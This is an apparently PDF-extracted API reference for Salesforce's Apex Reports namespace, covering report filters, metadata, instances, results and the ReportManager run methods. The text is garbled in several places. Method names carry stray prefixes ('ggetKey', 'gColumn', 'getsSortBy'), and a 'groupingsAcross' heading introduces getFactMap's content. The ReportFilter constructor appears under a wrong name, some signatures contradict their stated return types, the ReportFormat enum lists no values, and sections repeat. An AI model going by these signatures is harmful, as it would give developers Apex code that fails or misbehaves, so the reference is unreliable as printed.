Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

**getAggregates()**
Returns summary-level data for a report, including the record count.

Syntax
```java
public LIST<Reports.SummaryValue> getAggregates()
```

Return Value
Type: `List<Reports.SummaryValue>`

**getKey()**
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

Syntax
```java
public String getKey()
```

Return Value
Type: `String`

### ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.

### Namespace
`Reports`

### Usage
The `ReportFactWithDetails` class extends the `ReportFact` class. A `ReportFactWithDetails` object is returned if `includeDetails` is set to `true` when the report is run. To access the detail values, you’ll need to cast the return value of the `ReportResults.getFactMap` method to a `ReportFactWithDetails` object.

### ReportFactWithDetails Methods
The following are methods for `ReportFactWithDetails`. All are instance methods.

**getAggregates()**
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

getAggregates()
Returns summary-level data for a report, including the record count.

**Syntax**
```java
public LIST<Reports.SummaryValue> getAggregates()
```

**Return Value**
Type: List<Reports.SummaryValue>

ggetKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

**Syntax**
```java
public String getKey()
```

**Return Value**
Type: String

ggetRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

**Syntax**
```java
public LIST<Reports.ReportDetailRow> getRows()
```

**Return Value**
Type: List<Reports.ReportDetailRow>

ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.

**Namespace**
Reports

2819
Usage

The `ReportFactWithSummaries` class extends the `ReportFact` class. A `ReportFactWithSummaries` object is returned if `includeDetails` is set to `false` when the report is run.

ReportFactWithSummaries Methods

The following are methods for `ReportFactWithSummaries`. All are instance methods.

IN THIS SECTION:

- `getAggregates()`
  - Returns summary-level data for a report, including the record count.

- `getKey()`
  - Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

- `toString()`
  - Returns a string.

`getAggregates()`

Returns summary-level data for a report, including the record count.

Syntax

```
public LIST<Reports.SummaryValue> getAggregates()
```

Return Value

Type: `List<Reports.SummaryValue>`

`getKey()`

Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

Syntax

```
public String getKey()
```

Return Value

Type: `String`

`toString()`

Returns a string.

Signature

```
public String toString()
```
Report Filter Class
Contains information about a report filter, including column, operator, and value.

Namespace
Reports

IN THIS SECTION:
- Report Filter Constructors
- Report Filter Methods

Report Filter Constructors
The following are constructors for Report Filter.

IN THIS SECTION:
- Report Filter()
- Report Filter(column, operator, value)
- Report Filter(column, operator, value, filterType)

Report Filter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.

Signature
public ReportFilter()

Report Filter(column, operator, value)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.

Signature
public ReportFilter(String column, String operator, String value)

Parameters
column
   Type: String
operator
   Type: String
value
   Type: String

ReportFilter(column, operator, value, filterType)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.

Syntax
public ReportFilterType(String column, String operator, String value, Reports.ReportFilterType filterType)

Parameters
column
   Type: String
operator
   Type: String
value
   Type: String
filterType
   Type: ReportFilterType Enum on page 2826

ReportFilter Methods
The following are methods for ReportFilter. All are instance methods.

IN THIS SECTION:
getColumn()
   Returns the unique API name for the field that's being filtered.
getFilterType()
   Returns the type of report filter.
getOperator()
   Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend on the data type of the field.
getValue()
   Returns the value that the field is being filtered by. For example, the field Age can be filtered by a numeric value.
setColumn(column)
   Sets the unique API name for the field that's being filtered.
setFilterType()
   Sets the type of report filter.
setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as "greater than" or "not equal to." Filter conditions depend on the data type of the field.

setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

toString(column)
Returns a string representation of the filter.

gColumn()
Returns the unique API name for the field that’s being filtered.

Syntax
public String getColumn()

Return Value
Type: String

gFilterType()
Returns the type of report filter.

Syntax
public String getFilterType()

Return Value
Type: ReportFilterType Enum on page 2826

gOperator()
Returns the unique API name for the condition that is used to filter a field, such as "greater than" or "not equal to." Filter conditions depend on the data type of the field.

Syntax
public String getOperator()

Return Value
Type: String

getValue()
Returns the value that the field is being filtered by. For example, the field Age can be filtered by a numeric value.
Syntax
`public String getValue()`

Return Value
Type: `String`

`setColumn(column)`
Sets the unique API name for the field that’s being filtered.

Syntax
`public Void setColumn(String column)`

Parameters
`column`
Type: `String`

Return Value
Type: `Void`

`setFilterType()`
Sets the type of report filter.

Syntax
`public Void setFilterType(String column)`

Parameters
`column`
Type: `String`

Return Value
Type: `Void`

`setOperator(operator)`
Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend on the data type of the field.

Syntax
`public Void setOperator(String operator)`
Parameters

operator
Type: String

Return Value
Type: Void

setValue(value)
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

Syntax
public Void setValue(String value)

Parameters
value
Type: String

Return Value
Type: Void

toString(column)
Returns a string representation of the filter.

Signature
public String toString()

Return Value
Type: String

ReportFormat Enum
Contains the possible report format types.

Namespace
Reports

Enum Values
The following are the values of the Reports.ReportFormat enum.
### ReportFilterType Enum

The types of values included in a report filter type.

#### Enum Values

The following are the values of the `Reports.ReportFilterType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>fieldToField</td>
<td>Field-to-field filter</td>
</tr>
<tr>
<td>fieldValue</td>
<td>Field-to-value filter</td>
</tr>
</tbody>
</table>

### ReportInstance Class

Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.

### Namespace

`Reports`

### ReportInstance Methods

The following are methods for `ReportInstance`. All are instance methods.

#### IN THIS SECTION:

- `getCompletionDate()`
  
  Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance ran successfully or couldn't be run because of an error. Date and time information is in ISO-8601 format.

- `getId()`
  
  Returns the unique ID for an instance of a report that was run asynchronously.

- `getOwnerId()`
  
  Returns the ID of the user who created the report instance.

- `getReportId()`
  
  Returns the unique ID of the report this instance is based on.

- `getReportResults()`
  
  Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data or include details.
getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.

getStatus()
Returns the status of a report.

getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance ran successfully or couldn’t be run because of an error. Date and time information is in ISO-8601 format.

Syntax
public Datetime getCompletionDate()

Return Value
Type: Datetime

getId()
Returns the unique ID for an instance of a report that was run asynchronously.

Syntax
public Id getId()

Return Value
Type: Id

getOwnerId()
Returns the ID of the user who created the report instance.

Syntax
public Id getOwnerId()

Return Value
Type: Id

getReportId()
Returns the unique ID of the report this instance is based on.

Syntax
public Id getReportId()
Return Value
Type: Id

getReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data or include details.

Syntax
public Reports.ReportResults getReportResults()

Return Value
Type: Reports.ReportResults

getRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.

Syntax
public Datetime getRequestDate()

Return Value
Type: Datetime

getStatus()
Returns the status of a report.

Syntax
public String getStatus()

Return Value
Type: String

Usage
- New if the report run was recently triggered through a request.
- Success if the report ran.
- Running if the report is being run.
- Error if the report run failed. The instance of a report run can return an error if, for example, your permission to access the report was removed after you requested the run.
ReportManager Class

Runs a report synchronously or asynchronously and with or without details.

Namespace

Reports

Usage

Gets instances of reports and describes the metadata of Reports.

ReportManager Methods

The following are methods for ReportManager. All methods are static.

IN THIS SECTION:

- `describeReport(reportId)`
  Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.

- `getDatatypeFilterOperatorMap()`
  Lists the field data types that you can use to filter the report.

- `getReportInstance(instanceld)`
  Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous report determine whether you can retrieve summary data or detailed data.

- `getReportInstances(reportId)`
  Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with metadata for the time at which the report was run.

- `runAsyncReport(reportId, reportMetadata, includeDetails)`
  Runs a report asynchronously with the report ID. Includes details if `includeDetails` is set to `true`. Filters the report based on the report metadata in `reportMetadata`.

- `runAsyncReport(reportId, includeDetails)`
  Runs a report asynchronously with the report ID. Includes details if `includeDetails` is set to `true`.

- `runAsyncReport(reportId, reportMetadata)`
  Runs a report asynchronously with the report ID. Filters the results based on the report metadata in `reportMetadata`.

- `runAsyncReport(reportId)`
  Runs a report asynchronously with the report ID.

- `runReport(reportId, reportMetadata, includeDetails)`
  Runs a report immediately with the report ID. Includes details if `includeDetails` is set to `true`. Filters the results based on the report metadata in `reportMetadata`.

- `runReport(reportId, includeDetails)`
  Runs a report immediately with the report ID. Includes details if `includeDetails` is set to `true`.

- `runReport(reportId, reportMetadata)`
  Runs a report immediately with the report ID. Filters the results based on the report metadata in `rmData`.
runReport(reportId)
Runs a report immediately with the report ID.

describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.

Syntax
public static Reports.ReportDescribeResult describeReport(Id reportId)

Parameters
reportId
Type: Id

Return Value
Type: Reports.ReportDescribeResult

getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.

Syntax
public static MAP<String,LIST<Reports.FilterOperator>> getDatatypeFilterOperatorMap()

Return Value
Type: Map<String, List<Reports.FilterOperator>>

getReportInstance(instanceId)
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous report determine whether you can retrieve summary data or detailed data.

Syntax
public static Reports.ReportInstance getReportInstance(Id instanceId)

Parameters
instanceId
Type: Id

Return Value
Type: Reports.ReportInstance
**getReportInstances**(reportId)

Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with metadata for the time at which the report was run.

**Syntax**

```java
public static LIST<Reports.ReportInstance> getReportInstances(Id reportId)
```

**Parameters**

- **reportId**
  - Type: Id

**Return Value**

- Type: List<Reports.ReportInstance>

---

**runAsyncReport**(reportId, reportMetadata, includeDetails)

Runs a report asynchronously with the report ID. Includes details if `includeDetails` is set to `true`. Filters the report based on the report metadata in `reportMetadata`.

**Syntax**

```java
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata reportMetadata, Boolean includeDetails)
```

**Parameters**

- **reportId**
  - Type: Id
- **reportMetadata**
  - Type: Reports.ReportMetadata
- **includeDetails**
  - Type: Boolean

**Return Value**

- Type: Reports.ReportInstance

---

**runAsyncReport**(reportId, includeDetails)

Runs a report asynchronously with the report ID. Includes details if `includeDetails` is set to `true`.

**Syntax**

```java
public static Reports.ReportInstance runAsyncReport(Id reportId, Boolean includeDetails)
```
Parameters

`reportId`
Type: Id

`includeDetails`
Type: Boolean

Return Value
Type: Reports.ReportInstance

```java
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata reportMetadata)
```

**runAsyncReport**(*reportId, reportMetadata*)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in *reportMetadata*.

Syntax
```java
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata reportMetadata)
```

Parameters

`reportId`
Type: Id

`reportMetadata`
Type: Reports.ReportMetadata

Return Value
Type: Reports.ReportInstance

```java
public static Reports.ReportInstance runAsyncReport(Id reportId)
```

**runAsyncReport**(*reportId*)
Runs a report asynchronously with the report ID.

Syntax
```java
public static Reports.ReportInstance runAsyncReport(Id reportId)
```

Parameters

`reportId`
Type: Id

Return Value
Type: Reports.ReportInstance
runReport(reportId, reportMetadata, includeDetails)

Runs a report immediately with the report ID. Includes details if `includeDetails` is set to `true`. Filters the results based on the report metadata in `reportMetadata`.

Syntax

```java
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata reportMetadata, Boolean includeDetails)
```

Parameters

- `reportId`
  - Type: `Id`
- `reportMetadata`
  - Type: `Reports.ReportMetadata`
- `includeDetails`
  - Type: `Boolean`

Return Value

Type: `Reports.ReportResults`

runReport(reportId, includeDetails)

Runs a report immediately with the report ID. Includes details if `includeDetails` is set to `true`.

Syntax

```java
public static Reports.ReportResults runReport(Id reportId, Boolean includeDetails)
```

Parameters

- `reportId`
  - Type: `Id`
- `includeDetails`
  - Type: `Boolean`

Return Value

Type: `Reports.ReportResults`

runReport(reportId, reportMetadata)

Runs a report immediately with the report ID. Filters the results based on the report metadata in `reportMetadata`.

Syntax

```java
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata reportMetadata)
```
Parameters

*reportId*
  
  Type: `Id`

*reportMetadata*
  
  Type: `Reports_ReportMetadata` `Reports_ReportMetadata`

Return Value

Type: `Reports_ReportResults`

### runReport (reportId)

Runs a report immediately with the report ID.

Syntax

```java
public static Reports_ReportResults runReport(Id reportId)
```

Parameters

*reportId*
  
  Type: `Id`

Return Value

Type: `Reports_ReportResults`

### ReportMetadata Class

Contains report metadata for a tabular, summary, or matrix report.

### Namespace

Reports

### Usage

Report metadata gives information about the report as a whole, such as the report type, format, summary fields, row or column groupings, and filters that are saved to the report. You can use the `ReportMetadata` class to retrieve report metadata and to set metadata that can be used to filter a report.

### ReportMetadata Methods

The following are methods for `ReportMetadata`. All are instance methods.

IN THIS SECTION:

- `getAggregates()`
  
  Returns unique identifiers for summary or custom summary formula fields in the report.
getBuckets() Returns a list of bucket fields in the report.

getCrossFilters() Returns information about cross filters applied to a report.

getCurrencyCode() Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the organization does not have multicurrency enabled.

getCustomSummaryFormula() Returns information about custom summary formulas in a report.

description() Returns the description of the report.

detailColumns() Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following values: "OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT."

developerName() Returns the report API name. For example, the method might return the following value: "Closed_Sales_This_Quarter."

division() Returns the division specified in the report.

groupingsAcross() Returns column groupings in a report.

groupingsDown() Returns row groupings for a report.

hasDetailRows() Indicates whether the report has detail rows.

hasRecordCount() Indicates whether the report shows the total number of records.

historicalSnapshotDates() Returns a list of historical snapshot dates.

id() Returns the unique report ID.

name() Returns the report name.

reportBooleanFilter() Returns logic to parse custom field filters. The value is null when filter logic is not specified.

reportFilters() Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.

reportFormat() Returns the format of the report.

reportType() Returns the unique API name and display name for the report type.
getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.

getsShowGrandTotal()
Indicates whether the report shows the grand total.

getsShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.

getsSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.

getsStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.

getsStandardFilters()
Returns a list of standard filters for the report.

getsTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.

setAggregates( aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.

setBuckets( buckets)
Creates bucket fields in a report.

setCrossFilters( crossFilters)
Applies cross filters to a report.

setCurrencyCode( currencyCode)
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.

setCustomSummaryFormula( customSummaryFormula)
Adds a custom summary formula to a report.

setDescription( description)
Sets the description of the report.

setDetailColumns( detailColumns)
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, or AMOUNT.

setDeveloperName( developerName)
Sets the report API name—for example, Closed_Sales_This_Quarter.

setDivision( division)
Sets the division of the report.

setGroupingsAcross( groupingInfo)
Sets column groupings in a report.

setGroupingsDown( groupingInfo)
Sets row groupings for a report.

setHasDetailRows( hasDetailRows)
Specifies whether the report has detail rows.
setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.

setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.

setId(id)
Sets the unique report ID.

setName(name)
Sets the report name.

setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.

setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.

setReportFormat(format)
Sets the format of the report.

setReportType(reportType)
Sets the unique API name and display name for the report type.

setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.

setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.

setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.

setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.

setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.

setStandardFilters(filters)
Sets one or more standard filters on the report.

setTopRows(topRows)
Applies a row limit filter to a report.

getAggregates()
Returns unique identifiers for summary or custom summary formula fields in the report.

Syntax

public LIST<String> getAggregates()

Return Value

Type: List<String>
Usage

For example:

- `a!Amount` represents the average for the `Amount` column.
- `s!Amount` represents the sum of the `Amount` column.
- `m!Amount` represents the minimum value of the `Amount` column.
- `x!Amount` represents the maximum value of the `Amount` column.
- `s!<customfieldID>` represents the sum of a custom field column. For custom fields and custom report types, the identifier is a combination of the summary type and the field ID.

### getBuckets()

Returns a list of bucket fields in the report.

**Signature**

```java
public List<Reports.BucketField> getBuckets()
```

**Return Value**

Type: `List<Reports.BucketField>`

### getCrossFilters()

Returns information about cross filters applied to a report.

**Signature**

```java
public Reports.CrossFilter getCrossFilters()
```

**Return Value**

Type: `List<Reports.CrossFilter>`

### getCurrencyCode()

Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is `null` if the organization does not have multicurrency enabled.

**Syntax**

```java
public String getCurrencyCode()
```

**Return Value**

Type: `String`

### getCustomSummaryFormula()

Returns information about custom summary formulas in a report.
Signature

```java
public Map<String, Reports.ReportCsf> getCustomSummaryFormula()
```

Return Value
Type: `Map<String, Reports.ReportCsf>`

**getDescription()**
Returns the description of the report.

Signature

```java
public String getDescription()
```

Return Value
Type: `String`

**getDetailColumns()**
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following values: "OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT."

Syntax

```java
public List<String> getDetailColumns()
```

Return Value
Type: `List<String>`

**getDeveloperName()**
Returns the report API name. For example, the method might return the following value: "Closed_Sales_This_Quarter."

Syntax

```java
public String getDeveloperName()
```

Return Value
Type: `String`

**getDivision()**
Returns the division specified in the report.

ℹ️ **Note:** Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t be further limited to a specific division.
Signature

```java
public String getDivision()
```

Return Value
Type: `String`

**getGroupingAcross()**

Returns column groupings in a report.

Syntax

```java
public LIST<Reports.GroupingInfo> getGroupingAcross()
```

Return Value
Type: `List<Reports.GroupingInfo>`

Usage
The identifier is:
- An empty array for reports in summary format, because summary reports don't include column groupings
- `BucketField_(ID)` for bucket fields
- The ID of a custom field when the custom field is used for a column grouping

**getGroupingDown()**

Returns row groupings for a report.

Syntax

```java
public LIST<Reports.GroupingInfo> getGroupingDown()
```

Return Value
Type: `List<Reports.GroupingInfo>`

Usage
The identifier is:
- `BucketField_(ID)` for bucket fields
- The ID of a custom field when the custom field is used for grouping

**getHasDetailRows()**

Indicates whether the report has detail rows.
Signature
public Boolean getHasDetailRows()

Return Value
Type: Boolean

getHasRecordCount()
Indicates whether the report shows the total number of records.

Signature
public Boolean getHasRecordCount()

Return Value
Type: Boolean

ggetHistoricalSnapshotDates()
Returns a list of historical snapshot dates.

Syntax
public LIST<String> getHistoricalSnapshotDates()

Return Value
Type: List<String>

ggetId()
Returns the unique report ID.

Syntax
public Id getId()

Return Value
Type: Id

ggetName()
Returns the report name.

Syntax
public String getName()
getReportBooleanFilter()
Returns logic to parse custom field filters. The value is null when filter logic is not specified.

Syntax
public String getReportBooleanFilter()

getReportFilters()
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax
public LIST<Reports.ReportFilter> getReportFilters()

getReportFormat()
Returns the format of the report.

Syntax
public Reports.ReportFormat getReportFormat()

Usage
This value can be:
- TABULAR
- SUMMARY
- MATRIX

getReportType()
Returns the unique API name and display name for the report type.
Syntax

public Reports.ReportType getReportType()

Return Value
Type: Reports.ReportType

getScope()
Returns the API name for the scope defined for the report. Scope values depend on the report type.

Signature
public String getScope()

Return Value
Type: String

getShowGrandTotal()
Indicates whether the report shows the grand total.

Signature
public Boolean getShowGrandTotal()

Return Value
Type: Boolean

getShowSubtotals()
Indicates whether the report shows subtotals, such as column or row totals.

Signature
public Boolean getShowSubtotals()

Return Value
Type: Boolean

getSortBy()
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.

Signature
public List<Reports.SortColumn> getSortBy()
getStandardDateFilter()
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.

Signature
public Reports.StandardDateFilter getStandardDateFilter()

getStandardFilters()
Returns a list of standard filters for the report.

Signature
public List<Reports.StandardFilter> getStandardFilters()

getTopRows()
Returns information about a row limit filter, including the number of rows returned and the sort order.

Signature
public Reports.TopRows getTopRows()

setAggregates( aggregates)
Sets unique identifiers for standard or custom summary formula fields in the report.

Signature
public void setAggregates(List<String> aggregates)

Parameters
aggregates
Type: List<String>
setBuckets(buckets)

Creates bucket fields in a report.

Signature

```java
public void setBuckets(List<Reports.BucketField> buckets)
```

Parameters

buckets
Type: List<Reports.BucketField>

setCrossFilters(crossFilters)

Applies cross filters to a report.

Signature

```java
public void setCrossFilters(List<Reports.CrossFilter> crossFilters)
```

Parameters

crossFilter
Type: List<Reports.CrossFilter>

setCurrencyCode(currencyCode)

Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.

Signature

```java
public void setCurrencyCode(String currencyCode)
```

Parameters

currencyCode
Type: String
setCustomSummaryFormula(customSummaryFormula)

Adds a custom summary formula to a report.

Signature

public void setCustomSummaryFormula(Map<String, Reports.ReportCsf> customSummaryFormula)

Parameters

customSummaryFormula
  Type: Map<String, Reports.ReportCsf>

setDescription(description)

Sets the description of the report.

Signature

public void setDescription(String description)

Parameters

description
  Type: String

setDetailColumns(detailColumns)

Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, or AMOUNT.

Signature

public void setDetailColumns(List<String> detailColumns)

Parameters

detailColumns
  Type: List<String>
Return Value
Type: void

setDeveloperName(developerName)

Sets the report API name—for example, Closed_Sales_This_Quarter.

Signature
public void setDeveloperName(String developerName)

Parameters
developerName
Type: String

Return Value
Type: void

setDivision(division)

Sets the division of the report.

Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t be further limited to a specific division.

Signature
public void setDivision(String division)

Parameters
division
Type: String

Return Value
Type: void

setGroupingsAcross(groupingInfo)

Sets column groupings in a report.

Signature
public void setGroupingsAcross(List<Reports.GroupingInfo> groupingInfo)
Parameters

groupingInfo
    Type: List<Reports.GroupingInfo>

Return Value
Type: void

setGroupingsDown (groupingInfo)
Sets row groupings for a report.

Signature
public void setGroupingsDown(List<Reports.GroupingInfo> groupingInfo)

Parameters

groupingInfo
    Type: List<Reports.GroupingInfo>

Return Value
Type: void

setHasDetailRows (hasDetailRows)
Specifies whether the report has detail rows.

Signature
public void setHasDetailRows(Boolean hasDetailRows)

Parameters

hasDetailRows
    Type: Boolean

Return Value
Type: void

setHasRecordCount (hasRecordCount)
 Specifies whether the report is configured to show the total number of records.

Signature
public void setHasRecordCount(Boolean hasRecordCount)
Parameters

hasRecordCount
Type: Boolean

Return Value
Type: void

setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.

Syntax
public Void setHistoricalSnapshotDates(LIST<String> historicalSnapshot)

Parameters

historicalSnapshot
Type: List<String>

Return Value
Type: Void

setId(id)
Sets the unique report ID.

Signature
public void setId(Id id)

Parameters

id
Type: Id

Return Value
Type: void

setName(name)
Sets the report name.

Signature
public void setName(String name)
Parameters

name
Type: String

Return Value
Type: void

**setReportBooleanFilter**(*reportBooleanFilter*)
Sets logic to parse custom field filters.

Syntax

```java
public Void setReportBooleanFilter(String reportBooleanFilter)
```

Parameters

*reportBooleanFilter*
Type: String

Return Value
Type: Void

**setReportFilters**(*reportFilters*)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax

```java
public Void setReportFilters(List<Reports.ReportFilter> reportFilters)
```

Parameters

*reportFilters*
Type: List<Reports.ReportFilter>

Return Value
Type: Void

**setReportFormat**(*format*)
Sets the format of the report.

Signature

```java
public void setReportFormat(Reports.ReportFormat format)
```
Parameters

format
Type: Reports.ReportFormat

Return Value
Type: void

setReportType(reportType)
Sets the unique API name and display name for the report type.

Signature
public void setReportType(Reports.ReportType reportType)

Parameters
reportType
Type: Reports.ReportType

Return Value
Type: void

setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.

Signature
public void setScope(String scopeName)

Parameters
scopeName
Type: String

Return Value
Type: void

setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.

Signature
public void setShowGrandTotal(Boolean showGrandTotal)
Parameters

showGrandTotal
  Type: Boolean

Return Value
  Type: void

**setShowSubtotals(showSubtotals)**
Specifies whether the report shows subtotals, such as column or row totals.

Signature

```
public void setShowSubtotals(Boolean showSubtotals)
```

Parameters

showSubtotals
  Type: Boolean

Return Value
  Type: void

**setSortBy(column)**
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.

Signature

```
public void setSortBy(List<Reports.SortColumn> column)
```

Parameters

column
  Type: List<Reports.SortColumn>

Return Value
  Type: void

**setStandardDateFilter(dateFilter)**
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.

Signature

```
public void setStandardDateFilter(Reports.StandardDateFilter dateFilter)
```
Parameters
dateFilter
  Type: Reports.StandardDateFilter

Return Value
Type: void

```
setStandardFilters(filters)
```
Sets one or more standard filters on the report.

Signature
```
public void setStandardFilters(List<Reports.StandardFilter> filters)
```

Parameters

```
filters
  Type: List<Reports.StandardFilter>
```

Return Value
Type: void

```
setTopRows(topRows)
```
Applies a row limit filter to a report.

Signature
```
public Reports.TopRows setTopRows(Reports.TopRows topRows)
```

Parameters

```
topRows
  Type: Reports.TopRows
```

Return Value
Type: void

ReportResults Class
Contains the results of running a report.

Namespace
 Reports
ReportResults Methods

The following are methods for ReportResults. All are instance methods.

IN THIS SECTION:

getAllData()
Returns all report data.

getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the includeDetails parameter is set to true when the report is run.

groupingsAcross()
Returns a collection of column groupings, keys, and values.

groupingsDown()
Returns a collection of row groupings, keys, and values.

getHasDetailRows()
Returns information about whether the fact map has detail rows.

getReportExtendedMetadata()
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.

getReportMetadata()
Returns metadata about the report, including grouping and summary information.

getAllData()

Returns all report data.

Syntax

public Boolean getAllData()

Return Value

Type: Boolean

Usage

When true, indicates that all report results are returned.
When false, indicates that results are returned for the same number of rows as in a report run in Salesforce.

Note: For reports that contain too many records, use filters to refine results.

groupingsAcross()

Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the includeDetails parameter is set to true when the report is run.
Syntax

```java
public MAP<String, Reports.ReportFact> getFactMap()
```

Return Value

Type: `Map<String, Reports.ReportFact>`

**getGroupingsAcross()**

Returns a collection of column groupings, keys, and values.

Syntax

```java
public Reports.Dimension getGroupingsAcross()
```

Return Value

Type: `Reports.Dimension`

**getGroupingsDown()**

Returns a collection of row groupings, keys, and values.

Syntax

```java
public Reports.Dimension getGroupingsDown()
```

Return Value

Type: `Reports.Dimension`

**getHasDetailRows()**

Returns information about whether the fact map has detail rows.

Syntax

```java
public Boolean getHasDetailRows()
```

Return Value

Type: `Boolean`

Usage

- When `true`, indicates that the fact map returns values for summary-level and record-level data.
- When `false`, indicates that the fact map returns summary values.

**getReportExtendedMetadata()**

Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
Syntax

```java
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
```

Return Value

Type: `Reports.ReportExtendedMetadata`

### getReportMetadata()

Returns metadata about the report, including grouping and summary information.

Syntax

```java
public Reports.ReportMetadata getReportMetadata()
```

Return Value

Type: `Reports.ReportMetadata`

---

**ReportScopeInfo Class**

Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can set the scope for opportunity reports to *All opportunities*, *My team’s opportunities*, or *My opportunities*.

**Namespace**

`Reports`

**IN THIS SECTION:**

- ReportScopeInfo Methods

## ReportScopeInfo Methods

The following are methods for `ReportScopeInfo`.

**IN THIS SECTION:**

- `getDefaultValue()`
  - Returns the default scope of the data to display in the report.

- `getValues()`
  - Returns a list of scope values specified for the report.

### getDefaultValue()

Returns the default scope of the data to display in the report.

**Signature**

```java
public String getDefaultValue()
```
Return Value
Type: String

getValues()
Returns a list of scope values specified for the report.

Signature
public List<Reports.ReportScopeValue> getValues()

Return Value
Type: List<Reports.ReportScopeValue>

ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.

Namespace
Reports

IN THIS SECTION:
ReportScopeValue Methods

ReportScopeValue Methods
The following are methods for ReportScopeValue.

IN THIS SECTION:
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.
getLabel()
Returns the display name of the scope of the report.
getValue()
Returns the scope value for the report.

getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.

Signature
public Boolean getAllowsDivision()
Return Value
Type: Boolean

**getLabel()**
Returns the display name of the scope of the report.

Signature
```java
